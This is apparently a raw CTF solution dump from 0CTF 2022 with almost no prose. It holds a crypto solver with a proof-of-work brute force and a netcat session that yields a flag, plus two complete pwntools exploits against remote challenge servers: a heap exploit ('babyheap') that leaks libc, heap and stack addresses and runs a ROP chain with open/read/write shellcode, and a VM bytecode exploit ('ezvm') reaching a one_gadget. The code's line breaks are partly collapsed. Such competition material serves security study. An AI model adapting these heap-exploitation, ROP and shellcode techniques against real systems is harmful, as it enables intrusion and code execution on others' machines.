from Crypto.Util.number import *import gmpy2import binasciifrom string import ascii_letters, digitsfrom hashlib import sha256, sha384from itertools import producttable = ascii_letters + digits + '!#$%&*-?'
def proof_of_work(tail,_hash):    print('开始爆破！')    for i in product(table, repeat=4):        head = ''.join(i)        t = hashlib.sha256((head + tail).encode()).hexdigest()        if t == _hash:            print('爆破成功！结果是：', end='')            print(head)            break tail = input("tail:")_hash = input("_hash:")proof_of_work(tail,_hash) magic_hex = input("请输入：")magic = binascii.unhexlify(magic_hex)magic_num = bytes_to_long(magic)for i in range(65536):    n = magic_num * 2 ** (384 - LEN*8) + i * 2 ** (384 - LEN*8 - 16)    if is_prime(n + 1):        f = factor(n)        if all(p < 2 ** 40 for p, e in f):            print(f)            num1 = primitive_root(n+1)            data = str(hex(int(num1)))[2:].encode()            data2 = sha384(data).hexdigest()            num2 = int(data2, 16)            e = discrete_log(Zmod(n+1)(num2), Zmod(n+1)(num1))            if int(pow(num1, e, n+1)) == num2 % (n+1):                print('solved')                P = str(hex(n+1))[2:]                E = str(hex(e)[2:])                print("P:", P, len(P), gmpy2.is_prime(n+1))                print("E:", E, len(E))                               print("data:", data, len(data))                break   # nc 202.120.7.219 15555

```
(base) [email protected] ~ % nc 202.120.7.219 15555
sha256(XXXX + t&YJ0I8OkC&DcMru) == a2c0e15904cfe04ed507cc8749777b04f4a8d271798245f2e5a411fbbf141cfe
Give me XXXX:
%no5
cabb40d38331a1e7ac25cc5d6f95b595ad
P:>
cabb40d38331a1e7ac25cc5d6f95b595ad10fc0000000000000000000000000000000000000000000000000000000001
E:>
4df0bc855e3135b6f49868603d78cefe90a8354ac47b623453ad6cdde24ecf73d8f693b5fd1bd5ffa5bb80ae0794876f
data:>
3
flag{Hope_you_can_solve_by_smoothness_this_time}
```

```python#!/usr/bin/python3# -*- coding:utf-8 -*-
from pwn import *import os, struct, random, time, sys, signal
libc = ELF('libc-2.35.so')
class Shell():    def __init__(self):        self.clear(arch='amd64', os='linux', log_level='debug')        # self.pipe = process(['./babyheap'])        self.pipe = remote('47.100.33.132', 2204)     def send(self, data:bytes, **params): return self.pipe.send(data, **params)    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)    def recv(self, **params): return self.pipe.recv(**params)    def close(self, **params): return self.pipe.close(**params)    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)    def interactive(self, **params): return self.pipe.interactive(**params)    def clear(self, **params): return context.clear(**params)
    def recvn(self, numb, **params):         result = self.pipe.recvn(numb, **params)        if(len(result) != numb):            raise EOFError('recvn')        return result
    def recvuntil(self, delims, **params):        result = self.pipe.recvuntil(delims, drop=False, **params)        if(not result.endswith(delims)):            raise EOFError('recvuntil')        return result[:-len(delims)]
    def sendafter(self, delim, data, **params):        self.recvuntil(delim, **params)        self.send(data, **params)
    def sendlineafter(self, delim, data, **params):        self.recvuntil(delim, **params)        self.sendline(data, **params)
    def add(self, size, content):        self.sendlineafter(b'Command: ', b'1')        self.sendlineafter(b'Size: ', str(size).encode())        self.sendlineafter(b'Content: ', content)     def edit(self, index, content):        self.sendlineafter(b'Command: ', b'2')        self.sendlineafter(b'Index: ', str(index).encode())        self.sendlineafter(b'Size: ', b'-1')        self.sendlineafter(b'Content: ', content)
    def delete(self, index):        self.sendlineafter(b'Command: ', b'3')        self.sendlineafter(b'Index: ', str(index).encode())
    def show(self, index):        self.sendlineafter(b'Command: ', b'4')        self.sendlineafter(b'Index: ', str(index).encode())
sh = Shell()sh.add(0x8, b'')sh.add(0x208, b'')sh.add(0x8, b'')sh.add(0x208, b'')sh.add(0x8, b'')sh.edit(0, b'a' * 0x18 + p64(0x441))sh.delete(1)sh.add(0x208, b'')sh.show(2)sh.recvuntil(b'Chunk[2]: ')libc_addr = (u64(sh.recvn(8)) - libc.sym['_IO_2_1_stdin_']) & (~0xfff)success('libc_addr: ' + hex(libc_addr))sh.add(0x8, b'')sh.add(0x8, b'')sh.delete(5)sh.show(2)sh.recvuntil(b'Chunk[2]: ')heap_addr = u64(sh.recvn(8)) * 0x1000success('heap_addr: ' + hex(heap_addr))sh.delete(6)sh.edit(2, b'b' * 0x18 + p64(0x21) + p64((heap_addr >> 12) ^ (libc_addr + libc.sym['_IO_2_1_stdout_'])))sh.add(0x8, b'')sh.add(0x0, b'')sh.edit(6, flat([0xfbad2887 | 0x1000, 0, 0, 0,     libc_addr + libc.sym['environ'], libc_addr + libc.sym['environ'] + 8, libc_addr + libc.sym['environ'] + 8]))stack_addr = u64(sh.recvn(8)) - 0x120success('stack_addr: ' + hex(stack_addr))sh.delete(0)sh.delete(5)sh.edit(2, b'b' * 0x18 + p64(0x21) + p64((heap_addr >> 12) ^ (stack_addr - 8)))sh.add(0x0, b'')sh.add(0x0, b'')sh.edit(5, flat([    0,    libc_addr + next(libc.search(asm('pop rdi; ret;'))),    stack_addr & (~0xfff),    libc_addr + next(libc.search(asm('pop rsi; ret;'))),    0x1000,    libc_addr + next(libc.search(asm('pop rdx; pop rbx; ret;'))),    7,     0,    libc_addr + next(libc.search(asm('pop rax; ret;'))),    5,    libc_addr + next(libc.search(asm('add eax, eax; ret; '))),    libc_addr + next(libc.search(asm('syscall; ret;'))),    stack_addr + 0x60,
]) + asm('''    mov eax, 0x67616c66 ;// flag    push rax
    mov rdi, rsp    xor eax, eax    mov esi, eax    mov al, 2    syscall ;// open
    push rax    mov rsi, rsp    xor eax, eax    mov edx, eax    inc eax    mov edi, eax    mov dl, 8    syscall ;// write open() return value
    pop rax    test rax, rax    js over
    mov edi, eax    mov rsi, rsp    mov edx, 0x01010201    sub edx, 0x01010101    xor eax, eax    syscall ;// read
    mov edx, eax    mov rsi, rsp    xor eax, eax    inc eax    mov edi, eax    syscall ;// write
over:    xor edi, edi    mov eax, 0x010101e8    sub eax, 0x01010101    syscall ;// exit'''))sh.sendlineafter(b'Command: ', b'5')sh.interactive()
```

```python#!/usr/bin/python3# -*- coding:utf-8 -*-
from pwn import *import os, struct, random, time, sys, signal
libc = ELF('libc-2.35.so')
class Shell():    def __init__(self):        self.clear(arch='amd64', os='linux', log_level='debug')        # self.pipe = process(['./ezvm'])        self.pipe = remote('202.120.7.210', 40241)     def send(self, data:bytes, **params): return self.pipe.send(data, **params)    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)    def recv(self, **params): return self.pipe.recv(**params)    def close(self, **params): return self.pipe.close(**params)    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)    def interactive(self, **params): return self.pipe.interactive(**params)    def clear(self, **params): return context.clear(**params)
    def recvn(self, numb, **params):         result = self.pipe.recvn(numb, **params)        if(len(result) != numb):            raise EOFError('recvn')        return result
    def recvuntil(self, delims, **params):        result = self.pipe.recvuntil(delims, drop=False, **params)        if(not result.endswith(delims)):            raise EOFError('recvuntil')        return result[:-len(delims)]
    def sendafter(self, delim, data, **params):        self.recvuntil(delim, **params)        self.send(data, **params)
    def sendlineafter(self, delim, data, **params):        self.recvuntil(delim, **params)        self.sendline(data, **params)
sh = Shell()sh.sendlineafter(b'0ctf2022!!\n', b'Ex')sh.sendlineafter(b'code size:\n', str(0x1f8).encode())sh.sendlineafter(b'memory count:\n', str(0x800).encode())sh.sendlineafter(b'code:\n', p8(23))sh.sendlineafter(b'continue?\n', b'Ex')sh.sendlineafter(b'code size:\n', str(0x1f8).encode())sh.sendlineafter(b'memory count:\n', str(0x80).encode())
payload = b''payload += p8(22) + p8(0) + p64(0)
payload += p8(20) + p8(3) + p64(libc.sym['_IO_2_1_stdin_'])payload += p8(0) + p8(0)payload += p8(0) + p8(3)payload += p8(3)payload += p8(20) + p8(3) + p64(0xfffffffffffff000)payload += p8(0) + p8(3)payload += p8(9)payload += p8(1) + p8(0)
payload += p8(21) + p8(0) + p64(0x70)
sh.sendlineafter(b'code:\n', payload + p8(23))
sh.sendlineafter(b'continue?\n', b'Ex')sh.sendlineafter(b'code size:\n', str(0x38).encode())sh.sendlineafter(b'memory count:\n', str(0x80).encode())sh.sendlineafter(b'code:\n', p8(23))
sh.sendlineafter(b'continue?\n', b'Ex')sh.sendlineafter(b'code size:\n', str(0x18).encode())sh.sendlineafter(b'memory count:\n', str(3).encode())sh.sendlineafter(b'code:\n', p8(23))
sh.sendlineafter(b'continue?\n', b'Ex')sh.sendlineafter(b'code size:\n', str(0x1e8).encode())sh.sendlineafter(b'memory count:\n', str(0x80 + 0x4000000000000000).encode())
# g()payload = b''payload += p8(22) + p8(0) + p64(0x70)payload += p8(22) + p8(1) + p64(0)payload += p8(0) + p8(1)payload += p8(20) + p8(3) + p64(0x1000)payload += p8(0) + p8(3)payload += p8(4)payload += p8(20) + p8(3) + p64(0x4a0)payload += p8(0) + p8(3)payload += p8(2)payload += p8(1) + p8(1)

# offset = 0x26b2e0offset = 0x2672e0success('offset: ' + hex(offset))payload += p8(0) + p8(0)payload += p8(20) + p8(3) + p64(offset)payload += p8(0) + p8(3)payload += p8(2)payload += p8(0) + p8(1)payload += p8(3)payload += p8(20) + p8(3) + p64(8)payload += p8(0) + p8(3)payload += p8(5)payload += p8(1) + p8(2)
payload += p8(0) + p8(1)payload += p8(20) + p8(3) + p64(0x46e8)payload += p8(0) + p8(3)payload += p8(3)payload += p8(1) + p8(3)
payload += p8(21) + p8(2) + p64(0xa0)
payload += p8(21) + p8(3) + p64(0)
payload += p8(0) + p8(0)payload += p8(20) + p8(3) + p64(0xebcf1)payload += p8(0) + p8(3)payload += p8(2)
sh.sendlineafter(b'code:\n', payload + p8(1))
sh.interactive()
```